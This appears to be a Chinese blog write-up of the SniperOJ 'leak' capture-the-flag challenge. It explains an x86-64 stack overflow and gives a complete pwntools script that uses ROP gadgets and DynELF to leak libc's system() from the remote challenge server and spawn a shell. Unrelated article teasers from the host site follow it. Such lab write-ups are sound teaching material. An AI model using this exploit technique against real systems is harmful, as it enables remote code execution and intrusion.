参考:1.借助DynELF实现无libc的漏洞利用小结

2.一步一步学ROP之linux_x64篇 - 蒸米

题目源码

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4. void init(){
  5. setvbuf(stdout, NULL, _IOLBF, 0);
  6. }
  7. void welcome(){
  8. char *words = "Welcome to Sniperoj!\nDancing in shackles, Right?\n";
  9. write(1, words, strlen(words));
  10. }
  11. void vuln(){
  12. char buffer[16] = {0};
  13. read(0, buffer, 0x80);
  14. }
  15. int main(){
  16. init();
  17. welcome();
  18. vuln();
  19. return 0;
  20. }

题目是leak,提示是dynelf,pwntools里有个函数dynelf可以泄露内存任意地址至少一字节数据

linux64位下函数参数前六位是靠RDI, RSI, RDX, RCX, R8和 R9传递的,如果还有更多参数再依靠栈传递,这里需要寻找合适的gadgets进行rop.寻找gadgets的工具,我用的是ROPgadget,下载地址

  1. ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master

找到两处可用gadgets

  1. $ ROPgadget --binary leak --only "pop|ret"
  2. ============================================================
  3. 0x0000000000400733 : pop rdi ; ret
  4. 0x0000000000400731 : pop rsi ; pop r15 ; ret

没有找到类似pop rdx;ret的gadgets,这里先暂且不管,看看只靠两个参数能不能做下去。

先做些预备工作

  1. elf = ELF('leak')
  2. write_plt = p64(elf.symbols['write'])
  3. start_addr = p64(elf.symbols['_start'])
  4. read_plt = p64(elf.symbols['read'])
  5. data_addr = p64(elf.symbols['__data_start'])
  6. junk = "A" * (0x10 + 8)
  7. #Io = process("./leak")
  8. Io = remote("pwn.sniperoj.cn", 30008)

再编写leak函数

  1. def leak(addr):
  2. Io.recvuntil("Dancing in shackles, Right?\n")
  3. payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr
  4. Io.send(payload)
  5. leaked = Io.recv(8)
  6. print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)), repr(leaked))
  7. return leaked

leak出system的地址

  1. d = DynELF(leak, elf=ELF("leak"))
  2. system_addr = d.lookup('system', 'libc')
  3. print "[system()] -> [%s]" % (hex(system_addr))

将/bin/sh写入.data段

  1. payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addr
  2. Io.send(payload)
  3. Io.send("/bin/sh\x00")

调用system("/bin/sh")

  1. payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF)
  2. Io.send(payload)

完整脚本如下

  1. #!/usr/bin/env python
  2. # coding:utf-8
  3. from pwn import *
  4.  
  5. def read_output():
  6. Io.recvuntil("Dancing in shackles, Right?\n")
  7.  
  8. def leak(addr):
  9. read_output()
  10. payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr
  11. Io.send(payload)
  12. leaked = Io.recv(8)
  13. print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)), repr(leaked))
  14. return leaked
  15.  
  16. elf = ELF('leak')
  17. write_plt = p64(elf.symbols['write'])
  18. start_addr = p64(elf.symbols['_start'])
  19. read_plt = p64(elf.symbols['read'])
  20. data_addr = p64(elf.symbols['__data_start'])
  21. junk = "A" * (0x10 + 8)
  22.  
  23. #Io = process("./leak")
  24. Io = remote("pwn.sniperoj.cn", 30008)
  25.  
  26. # leak the address of system()
  27. d = DynELF(leak, elf=ELF("leak"))
  28. system_addr = d.lookup('system', 'libc')
  29. print "[system()] -> [%s]" % (hex(system_addr)) #system_addr 0x7f279f108390
  30.  
  31. # write /bin/sh
  32. read_output()
  33. payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addr
  34. Io.send(payload)
  35.  
  36. # send /bin/sh
  37. Io.send("/bin/sh\x00")
  38.  
  39. read_output()
  40. payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF)
  41. Io.send(payload)
  42.  
  43. # interactive()
  44. Io.interactive()

利用通用gadgets进行rop又失败了,很伤心,原以为自己已经找到利用方法了,唉,我好菜

SniperOJ-leak-x86-64的更多相关文章

  1. < IOS > X-code 5.1 x86 - 64 编译问题

    关于xcode 5.1   x86 - 64 编译问题   坐等了N久,终于IOS 7.1 发布了,作为一个果粉,忍不住第一时间升级了.结果用设备测试的时候,出问题了,一直检测不到设备,哈哈,纠结了半 ...

  2. Ubuntu x86 64 settup nginx rtmp server

    常常搭建nginxserver,可是好像每次的情况都不同,这次具体记录这个过程: 平台:unbutu 10.04 内核:2.6.32-33-generic 1, 编译环境搭建. sudo apt-ge ...

  3. centos(x86 64位系统)使用boost

    1. 安装gcc,g++,make等开发环境 yum groupinstall "Development Tools" 2. 安装boost yum install boost b ...

  4. Openfiler能把标准x86/64架构的系统变成一个强大的NAS、SAN存储和IP存储网关

    http://www.linuxprob.com/vmware-openfiler.html

  5. 如何查看linux系统是32位还是64位

    1.#uname -a 如果有x86_64就是64位的,没有就是32位的 这是64位的  # uname -a  Linux desktop 2.6.35-23-generic #37-Ubuntu ...

  6. 在win8.1 64位系统+cocos2d-x2.2.3下搭建android交叉编译环境

    搭建前须要下载的软件包(默认已搭建好cocos2d-x而且可在VS上执行,本人VS版本号为2013): 1:java 下载地址:http://www.java.com/zh_CN/download/m ...

  7. 64位 windows10,安装配置MYSQL8.0.13

    MySQL的安装配置过程,一查网上一大堆,但是每个人在安装配置的过程中都会碰到一些问题,因为安装的版本不一样,有些命令可能就不适用了.所以安装之前一定先确认好你的版本号. 下面开始安装MYSQL8.0 ...

  8. 怎么查看linux系统是32位还是64位

    1.#uname -a如果有x86_64就是64位的,没有就是32位的 这是64位的 # uname -a Linux desktop 2.6.35-23-generic #20-Ubuntu SMP ...

  9. oracle 数据库安装环境,需要大汇总

     Oracle Database (RDBMS) on Unix AIX,HP-UX,Linux,Mac OS X,Solaris,Tru64 Unix Operating Systems Ins ...

  10. 《深入理解JAVA虚拟机》笔记1

    java程序运行时的内存空间,按照虚拟机规范有下面几项: )程序计数器 指示下条命令执行地址.当然是线程私有,不然线程怎么能并行的起来. 不重要,占内存很小,忽略不计. )方法区 这个名字很让我迷惑. ...

随机推荐

  1. Weekly Contest 111-------->941. Valid Mountain Array(max_element)

    Given an array A of integers, return true if and only if it is a valid mountain array. Recall that A ...

  2. 51nod 1011 【完全背包】

    完全背包的变形: 这些数字可以取多次,dp[i]代表前 i 物品组成N时的方案数. #include<iostream> #include<cstring> #include& ...

  3. rsync 同步的艺术

    rsync是类unix系统下的数据镜像备份工具,可以提供快速的增量文件传输. rsync 也可用于本机传输,如: # rsync -v mysql--linux-glibc2.-x86_64.tar. ...

  4. linux 搭建unixODBC ,并对接 PostgreSQL 9.3.4

    环境:suse 11 ,64位的操作系统 unixODBC 版本:2.3.2 PostgreSQL 9.3.4 1 编译安装 unixODBC 下载 unixODBC :http://www.unix ...

  5. c++的substr()函数

    substr()函数注意:string str =“Hello”: substr(0,4)=“Hell”,0是起始位置,4是要复制的长度,strlen函数输出的是除了结束符"\0" ...

  6. Java程序员需要突破的技术要点

    一.源码分析 源码分析是一种临界知识,掌握了这种临界知识,能不变应万变,源码分析对于很多人来说很枯燥,生涩难懂. 源码阅读,我觉得最核心有三点:技术基础+强烈的求知欲+耐心. 我认为是阅读源码的最核心 ...

  7. SpringBoot | Thymeleaf | 局部更新

    建立一个实体类: public class Fruit { int id; String name; public Fruit() { } public Fruit(int id, String na ...

  8. iOS蓝牙连接流程介绍-1

    蓝牙连接流程介绍 1.1-程序员找女朋友流程介绍 0.程序员找女朋友参与者 1.你 2.受害者(女性同胞)  (1)她的性格1 性格的特点 (2)她的性格2  分析性格的特点 1.寻找女性 寻尽身边一 ...

  9. Linux —— 常用命令集合

    关机和重启命令 shutdown [选项] 时间 (添加&,把关机任务放在后台执行) 只有shutdown可以保存关机时资源 操作选项 重启: r 关机: h 取消一个关机任务: c 关机命令 ...

  10. POJ-1181-食物链

    链接:https://vjudge.net/problem/POJ-1182 题意: 动物王国中有三类动物A,B,C,这三类动物的食物链构成了有趣的环形.A吃B, B吃C,C吃A. 现有N个动物,以1 ...